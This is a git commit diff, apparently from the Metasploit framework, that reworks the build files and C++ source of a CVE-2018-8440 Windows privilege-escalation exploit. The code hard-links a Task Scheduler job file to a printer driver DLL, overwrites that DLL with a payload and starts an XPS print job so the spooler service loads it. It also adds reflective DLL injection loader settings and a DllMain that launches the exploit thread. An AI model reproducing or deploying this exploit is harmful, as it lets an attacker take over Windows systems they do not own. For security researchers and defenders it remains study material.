Updated VS solution and module
Jacob Robles
parent
f38e6f45ce
commit
83af598e6a
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@ -1,178 +0,0 @@
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<?xml version="1.0" encoding="utf-8"?>
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<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup Label="ProjectConfigurations">
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<ProjectConfiguration Include="Debug|Win32">
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<Configuration>Debug</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|Win32">
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<Configuration>Release</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Debug|x64">
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<Configuration>Debug</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|x64">
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<Configuration>Release</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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</ItemGroup>
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<PropertyGroup Label="Globals">
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<VCProjectVersion>15.0</VCProjectVersion>
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<ProjectGuid>{E75DCF6C-9B6D-49C8-96D7-0003C127B449}</ProjectGuid>
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<Keyword>Win32Proj</Keyword>
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<RootNamespace>Poc_StorSvc</RootNamespace>
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<WindowsTargetPlatformVersion>10.0.16299.0</WindowsTargetPlatformVersion>
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<ProjectName>ALPC-TaskSched-LPE</ProjectName>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v141</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v141</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v120</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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<ConfigurationType>DynamicLibrary</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v120</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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<ImportGroup Label="ExtensionSettings">
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</ImportGroup>
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<ImportGroup Label="Shared">
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<PropertyGroup Label="UserMacros" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<ClCompile>
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<PrecompiledHeader>Use</PrecompiledHeader>
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<WarningLevel>Level3</WarningLevel>
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<Optimization>Disabled</Optimization>
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<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<SDLCheck>true</SDLCheck>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<ClCompile>
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<PrecompiledHeader>NotUsing</PrecompiledHeader>
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<WarningLevel>Level3</WarningLevel>
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<Optimization>Disabled</Optimization>
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<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<SDLCheck>true</SDLCheck>
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<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<ClCompile>
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<PrecompiledHeader>Use</PrecompiledHeader>
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<WarningLevel>Level3</WarningLevel>
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<Optimization>MaxSpeed</Optimization>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<SDLCheck>true</SDLCheck>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<ClCompile>
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<PrecompiledHeader>NotUsing</PrecompiledHeader>
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<WarningLevel>Level3</WarningLevel>
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<Optimization>MaxSpeed</Optimization>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<SDLCheck>false</SDLCheck>
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<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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<AdditionalDependencies>xpsprint.lib;%(AdditionalDependencies)</AdditionalDependencies>
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</Link>
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</ItemDefinitionGroup>
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<ItemGroup>
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<ClInclude Include="Header.h" />
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<ClInclude Include="ntimports.h" />
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<ClInclude Include="resource.h" />
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<ClInclude Include="rpc_h.h" />
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<ClInclude Include="stdafx.h" />
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</ItemGroup>
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<ItemGroup>
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<ClCompile Include="ALPC-TaskSched-LPE.cpp" />
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<ClCompile Include="dllmain.cpp" />
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<ClCompile Include="Hardlink.cpp" />
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<ClCompile Include="rpc_c.c">
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<RuntimeLibrary Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">MultiThreadedDLL</RuntimeLibrary>
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<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
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<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
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</ClCompile>
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<ClCompile Include="stdafx.cpp" />
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</ItemGroup>
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<ItemGroup>
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<Midl Include="rpc.idl" />
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</ItemGroup>
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<ItemGroup>
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<None Include="..\Resource\exploit.dll" />
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<None Include="ClassDiagram.cd" />
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<None Include="\\192.168.135.111\metasploit-payloads\metasploit-framework\external\source\exploits\cve-2018-8897\dll\inject\inject.vcxproj" />
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</ItemGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
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<ImportGroup Label="ExtensionTargets">
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</ImportGroup>
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</Project>
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@ -1,2 +0,0 @@
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<?xml version="1.0" encoding="utf-8"?>
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<ClassDiagram />
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@ -1,37 +0,0 @@
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#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
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//===============================================================================================//
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// This is a stub for the actuall functionality of the DLL.
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//===============================================================================================//
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#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
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// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
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// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
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// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
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// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
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extern HINSTANCE hAppInstance;
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//===============================================================================================//
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#include "stdafx.h"
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#include "Header.h"
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BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
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{
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BOOL bReturnValue = TRUE;
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switch (dwReason)
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{
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case DLL_QUERY_HMODULE:
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if (lpReserved != NULL)
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*(HMODULE *)lpReserved = hAppInstance;
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break;
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case DLL_PROCESS_ATTACH:
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hAppInstance = hinstDLL;
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MessageBox(0, L"In DLLMain", L"Status", MB_OK);
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CreateThread(NULL, 0, ExploitThread, hinstDLL, 0, NULL);
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break;
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case DLL_PROCESS_DETACH:
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case DLL_THREAD_ATTACH:
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case DLL_THREAD_DETACH:
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break;
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}
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return bReturnValue;
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}
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@ -1,53 +0,0 @@
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//===============================================================================================//
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// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
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// All rights reserved.
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//
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// Redistribution and use in source and binary forms, with or without modification, are permitted
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// provided that the following conditions are met:
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//
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// * Redistributions of source code must retain the above copyright notice, this list of
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// conditions and the following disclaimer.
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//
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// * Redistributions in binary form must reproduce the above copyright notice, this list of
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// conditions and the following disclaimer in the documentation and/or other materials provided
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// with the distribution.
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//
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// * Neither the name of Harmony Security nor the names of its contributors may be used to
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// endorse or promote products derived from this software without specific prior written permission.
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//
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// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
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// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
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// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
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// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
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// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
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// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
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// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
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// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
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// POSSIBILITY OF SUCH DAMAGE.
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//===============================================================================================//
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#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
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#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
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//===============================================================================================//
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#define WIN32_LEAN_AND_MEAN
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#include <windows.h>
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// we declare some common stuff in here...
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#define DLL_METASPLOIT_ATTACH 4
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#define DLL_METASPLOIT_DETACH 5
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#define DLL_QUERY_HMODULE 6
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#define DEREF( name )*(UINT_PTR *)(name)
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#define DEREF_64( name )*(DWORD64 *)(name)
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#define DEREF_32( name )*(DWORD *)(name)
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#define DEREF_16( name )*(WORD *)(name)
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#define DEREF_8( name )*(BYTE *)(name)
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typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
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typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
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#define DLLEXPORT __declspec( dllexport )
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//===============================================================================================//
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#endif
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//===============================================================================================//
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@ -0,0 +1,41 @@
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Microsoft Visual Studio Solution File, Format Version 12.00
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# Visual Studio 2013
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VisualStudioVersion = 12.0.40629.0
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MinimumVisualStudioVersion = 10.0.40219.1
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ALPC-TaskSched-LPE", "ALPC-TaskSched-LPE\ALPC-TaskSched-LPE.vcxproj", "{E75DCF6C-9B6D-49C8-96D7-0003C127B449}"
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EndProject
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Global
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GlobalSection(SolutionConfigurationPlatforms) = preSolution
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Debug|ARM = Debug|ARM
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Debug|Win32 = Debug|Win32
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Debug|x64 = Debug|x64
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Debug|x86 = Debug|x86
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Release|ARM = Release|ARM
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Release|Win32 = Release|Win32
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Release|x64 = Release|x64
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Release|x86 = Release|x86
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EndGlobalSection
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GlobalSection(ProjectConfigurationPlatforms) = postSolution
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|ARM.ActiveCfg = Debug|Win32
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|Win32.ActiveCfg = Debug|Win32
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|Win32.Build.0 = Debug|Win32
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x64.ActiveCfg = Debug|x64
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x64.Build.0 = Debug|x64
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x86.ActiveCfg = Debug|Win32
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x86.Build.0 = Debug|Win32
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|ARM.ActiveCfg = Release|Win32
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|Win32.ActiveCfg = Release|Win32
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|Win32.Build.0 = Release|Win32
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x64.ActiveCfg = Release|x64
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x64.Build.0 = Release|x64
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x86.ActiveCfg = Release|Win32
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{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x86.Build.0 = Release|Win32
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EndGlobalSection
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GlobalSection(SolutionProperties) = preSolution
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HideSolutionNode = FALSE
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EndGlobalSection
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GlobalSection(ExtensibilityGlobals) = postSolution
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SolutionGuid = {AA32DEA9-85D3-447D-820E-C6ACA3AD0CBD}
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EndGlobalSection
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EndGlobal
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@ -8,17 +8,15 @@ Before the task scheduler writes the DACL we can create a hard link to any file
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This will result in an arbitrary DACL write.
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This PoC will overwrite a printer related dll and use it as a hijacking vector. This is ofcourse one of many options to abuse this.*/
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#define UNICODE
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#include "stdafx.h"
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#include "exploit.h"
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#include "resource.h"
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#include "rpc_h.h"
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#include <xpsprint.h>
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#include <fstream>
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#pragma comment(lib, "rpcrt4.lib")
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#pragma comment(lib, "XpsPrint.lib")
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using namespace std;
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//extern "C" __declspec (dllexport) DWORD CALLBACK ExploitThread(LPVOID);
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RPC_STATUS CreateBindingHandle(RPC_BINDING_HANDLE *binding_handle)
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{
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RPC_STATUS status;
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@ -93,62 +91,47 @@ int mainf()
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wchar_t EndPath[23] = L"\\Amd64\\PrintConfig.dll";
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wmemcpy(PrinterDriverFolder, FindFileData.cFileName, wcslen(FindFileData.cFileName));
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FindClose(hFind);
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wcscat_s(BeginPath, PrinterDriverFolder);
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wcscat_s(BeginPath, EndPath);
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wcscat(BeginPath, PrinterDriverFolder);
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wcscat(BeginPath, EndPath);
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//Create a hardlink with UpdateTask.job to our target, this is the file the task scheduler will write the DACL of
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CreateNativeHardlink(L"c:\\windows\\tasks\\UpdateTask.job", BeginPath);
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RunExploit();
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//Must be name of final DLL.. might be better ways to grab the handle
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HMODULE mod = GetModuleHandle(L"ALPC-TaskSched-LPE");
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//HMODULE mod = GetModuleHandle(L"ALPC-TaskSched-LPE");
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//Payload is included as a resource, you need to modify this resource accordingly.
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//HRSRC myResource = ::FindResource(mod, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
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HANDLE hPayload = ::CreateFile(L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
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HANDLE hPayload = ::CreateFile(L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
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if (hPayload == INVALID_HANDLE_VALUE) {
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MessageBox(NULL, L"FATAL ERROR : Couldn't open the payload dll file.", L"ALPC-TaskSched-LPE", MB_OK);
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return(-1);
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}
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else {
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MessageBox(NULL, L"Successfully opened the payload dll file.", L"ALPC-TaskSched-LPE", MB_OK);
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}
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//unsigned int myResourceSize = ::SizeofResource(mod, myResource);
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//HGLOBAL myResourceData = ::LoadResource(mod, myResource);
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//void* pMyBinaryData = ::LockResource(myResourceData);
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DWORD payloadSize = ::GetFileSize(hPayload, NULL);
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WCHAR msg[32];
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wsprintf(msg, L"Payload size: %d", payloadSize);
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MessageBox(NULL, msg, L"ALPC-TaskSched-LPE", MB_OK);
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VOID* payloadBuffer = malloc(payloadSize);
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if (payloadBuffer == NULL) {
|
||||
MessageBox(NULL, L"FATAL ERROR : Unable to malloc() payload buffer.", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
return(-1);
|
||||
}
|
||||
else {
|
||||
MessageBox(NULL, L"Successfully malloced the payload buffer.", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
}
|
||||
|
||||
DWORD bytesRead;
|
||||
::ReadFile(hPayload, payloadBuffer, payloadSize, &bytesRead, NULL);
|
||||
if (payloadSize != bytesRead) {
|
||||
wsprintf(msg, L"ERROR: %d", GetLastError());
|
||||
MessageBox(NULL, L"FATAL ERROR : Bytes read from file differs from payload size.", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
MessageBox(NULL, msg, L"ALPC-TaskSched-LPE", MB_OK);
|
||||
return(-1);
|
||||
}
|
||||
else {
|
||||
MessageBox(NULL, L"Successfully read the payload buffer.", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
}
|
||||
|
||||
//We try to open the DLL in a loop, it could already be loaded somewhere.. if thats the case, it will throw a sharing violation and we should not continue
|
||||
HANDLE hFile;
|
||||
DWORD dwBytesWritten = 0;
|
||||
do {
|
||||
hFile = CreateFile(BeginPath,GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
|
||||
WriteFile(hFile,(char*)payloadBuffer,bytesRead,&dwBytesWritten,NULL);
|
||||
hFile = CreateFile(BeginPath, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
WriteFile(hFile, (char*)payloadBuffer, bytesRead, &dwBytesWritten, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
Sleep(5000);
|
||||
|
|
@ -157,8 +140,6 @@ int mainf()
|
|||
CloseHandle(hFile);
|
||||
CloseHandle(hPayload);
|
||||
|
||||
MessageBox(NULL, L"0", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
|
||||
//After writing PrintConfig.dll we start an XpsPrintJob to load the dll into the print spooler service.
|
||||
CoInitialize(nullptr);
|
||||
IXpsOMObjectFactory *xpsFactory = NULL;
|
||||
|
|
@ -166,43 +147,17 @@ int mainf()
|
|||
HANDLE completionEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
IXpsPrintJob *job = NULL;
|
||||
IXpsPrintJobStream *jobStream = NULL;
|
||||
MessageBox(NULL, L"6", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
|
||||
StartXpsPrintJob(L"Microsoft XPS Document Writer", L"Print Job 1", NULL, NULL, completionEvent, NULL, 0, &job, &jobStream, NULL);
|
||||
|
||||
if (job == NULL) {
|
||||
MessageBox(NULL, L"job is NULL.", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
}
|
||||
else {
|
||||
MessageBox(NULL, L"job is not NULL.", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
}
|
||||
|
||||
if (jobStream == NULL) {
|
||||
MessageBox(NULL, L"jobStream is NULL.", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
}
|
||||
else {
|
||||
MessageBox(NULL, L"jobStream is not NULL.", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
}
|
||||
|
||||
MessageBox(NULL, L"7", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
// jobStream->Close();
|
||||
MessageBox(NULL, L"8", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
CoUninitialize();
|
||||
MessageBox(NULL, L"9", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD CALLBACK ExploitThread(LPVOID hModule)
|
||||
{
|
||||
mainf();
|
||||
FreeLibraryAndExitThread((HMODULE)hModule, 0);
|
||||
return 0;
|
||||
}
|
||||
extern "C" void testFunc(){
|
||||
MessageBox(NULL, L"Testing Function Called", L"ALPC-TaskSched-LPE", MB_OK);
|
||||
//mainf();
|
||||
}
|
||||
extern "C" void RunIt(void* hModule)
|
||||
{
|
||||
CreateThread(NULL, 0, ExploitThread, hModule, 0, NULL);
|
||||
}
|
||||
|
||||
|
||||
|
|
@ -82,6 +82,7 @@
|
|||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<IncludePath>..\..\..\..\ReflectiveDLLInjection\common;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
|
|
@ -133,7 +134,7 @@
|
|||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
|
|
@ -146,13 +147,14 @@
|
|||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Header.h" />
|
||||
<ClInclude Include="..\..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="..\..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
|
||||
<ClInclude Include="ntimports.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="rpc_h.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
|
||||
<ClCompile Include="ALPC-TaskSched-LPE.cpp" />
|
||||
<ClCompile Include="dllmain.cpp" />
|
||||
<ClCompile Include="Hardlink.cpp" />
|
||||
|
|
@ -166,13 +168,6 @@
|
|||
<ItemGroup>
|
||||
<Midl Include="rpc.idl" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Resource.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\Resource\exploit.dll" />
|
||||
<None Include="\\192.168.135.111\metasploit-payloads\metasploit-framework\external\source\exploits\cve-2018-8897\dll\inject\inject.vcxproj" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
|
|
@ -12,7 +12,6 @@
|
|||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
#define UNICODE
|
||||
#include "stdafx.h"
|
||||
#include "ntimports.h"
|
||||
#include "typed_buffer.h"
|
||||
23
external/source/exploits/CVE-2018-8440/dll/ALPC-TaskSched-LPE/dllmain.cpp
vendored
Executable file
23
external/source/exploits/CVE-2018-8440/dll/ALPC-TaskSched-LPE/dllmain.cpp
vendored
Executable file
|
|
@ -0,0 +1,23 @@
|
|||
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||
#include "stdafx.h"
|
||||
|
||||
DWORD CALLBACK ExploitThread(LPVOID hModule);
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(NULL, 0, ExploitThread, hModule, 0, NULL);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
|
||||
/* File created by MIDL compiler version 8.00.0603 */
|
||||
/* at Fri Sep 14 13:09:25 2018
|
||||
/* at Mon Sep 17 17:16:17 2018
|
||||
*/
|
||||
/* Compiler settings for rpc.idl:
|
||||
Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.00.0603
|
||||
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
|
||||
/* File created by MIDL compiler version 8.00.0603 */
|
||||
/* at Fri Sep 14 13:09:25 2018
|
||||
/* at Mon Sep 17 17:16:17 2018
|
||||
*/
|
||||
/* Compiler settings for rpc.idl:
|
||||
Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.00.0603
|
||||
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
|
||||
/* File created by MIDL compiler version 8.00.0603 */
|
||||
/* at Fri Sep 14 13:09:25 2018
|
||||
/* at Mon Sep 17 17:16:17 2018
|
||||
*/
|
||||
/* Compiler settings for rpc.idl:
|
||||
Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.00.0603
|
||||
|
|
@ -1,269 +0,0 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|ARM">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|ARM">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\exploit.h" />
|
||||
<ClInclude Include="src\ntimports.h" />
|
||||
<ClInclude Include="src\ReflectiveLoader.h" />
|
||||
<ClInclude Include="src\resource.h" />
|
||||
<ClInclude Include="src\rpc_h.h" />
|
||||
<ClInclude Include="src\stdafx.h" />
|
||||
<ClInclude Include="src\typed_buffer.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\Exploit.cpp" />
|
||||
<ClCompile Include="src\Hardlink.cpp" />
|
||||
